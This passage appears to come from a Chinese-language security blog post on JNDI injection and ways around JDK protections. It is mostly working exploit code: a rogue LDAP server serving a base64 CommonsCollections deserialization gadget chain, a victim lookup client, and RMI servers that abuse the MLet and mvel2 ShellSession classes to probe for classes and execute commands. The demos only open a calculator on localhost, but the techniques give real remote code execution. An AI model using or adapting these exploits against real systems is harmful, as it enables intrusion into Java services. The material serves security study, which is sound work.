InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { e.addAttribute("javaClassName" , "Exploit" ); try { e.addAttribute("javaSerializedData" , Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=" )); } catch (ParseException e1) { e1.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
模拟受害者进行JNDI lookup操作,或者使用Fastjson等漏洞模拟触发,即可看到弹计算器的命令被执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package jndi_rmi_injection;import javax.naming.InitialContext;import javax.naming.NamingException;public class LDAPClient { public static void main (String[] args) throws NamingException{ try { String url = "ldap://localhost:1389/Exploit" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(url); }catch (Exception e){ e.printStackTrace(); } } }
这种绕过方式需要利用一个本地的反序列化利用链,如CommonsCollections或者结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。
利用CLASSPATH不那么常见的类构造gadget 1、javax.management.loading.MLet 探测类是否存在 javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)
由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package jndi_rmi_injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.StringRefAddr;import org.apache.naming.ResourceRef;public class MLet_rmi_server { public static void main (String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098 ); ResourceRef ref = new ResourceRef ("javax.management.loading.MLet" , (String)null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , (String)null ); ref.add(new StringRefAddr ("forceString" , "a=loadClass,b=addURL,c=loadClass" )); ref.add(new StringRefAddr ("a" , "javax.el.ELProcessor" )); ref.add(new StringRefAddr ("b" , "http://127.0.0.1:8081/" )); ref.add(new StringRefAddr ("c" , "andrew_hann_class" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("Exploit" , referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
上面出现404,则说明前面对ELProcessor类的加载成功了。当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求。
2、org.mvel2.sh.ShellSession.exec() 1 2 3 4 5 <dependency> <groupId>org.mvel</groupId> <artifactId>mvel2</artifactId> <version>2.4.12.Final</version> </dependency>
服务端代码如下,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package jndi_rmi_injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.StringRefAddr;import org.apache.naming.ResourceRef;public class mvel2_rmi_server { public static void main (String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098 ); ResourceRef ref = new ResourceRef ("org.mvel2.sh.ShellSession" , (String)null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , (String)null ); ref.add(new StringRefAddr ("forceString" , "a=exec" )); ref.add(new StringRefAddr ("a" , "push Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("Exploit" , referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
参考链接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html https://johnfrod.top/%E5%B7%A5%E5%85%B7/ysoserial-%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8%E8%B0%83%E8%AF%95%E6%95%99%E7%A8%8B/ https://github.com/kxcode/JNDI-Exploit-Bypass-Demo https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html https://zhuanlan.zhihu.com/p/471482692 https://chenlvtang.top/2021/09/15/JDK8u191-%E7%AD%89%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5/ https://koalr.me/posts/commonscollections-deserialization/ https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#contents:%E5%88%A9%E7%94%A8ldap%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/ https://www.cnblogs.com/expl0it/p/13882169.html https://blog.csdn.net/weixin_45682070/article/details/121888247 https://www.cnblogs.com/zpchcbd/p/14941783.html https://y4er.com/posts/attack-java-jndi-rmi-ldap-2/ https://www.cnblogs.com/bitterz/p/15946406.html https://tttang.com/archive/1405/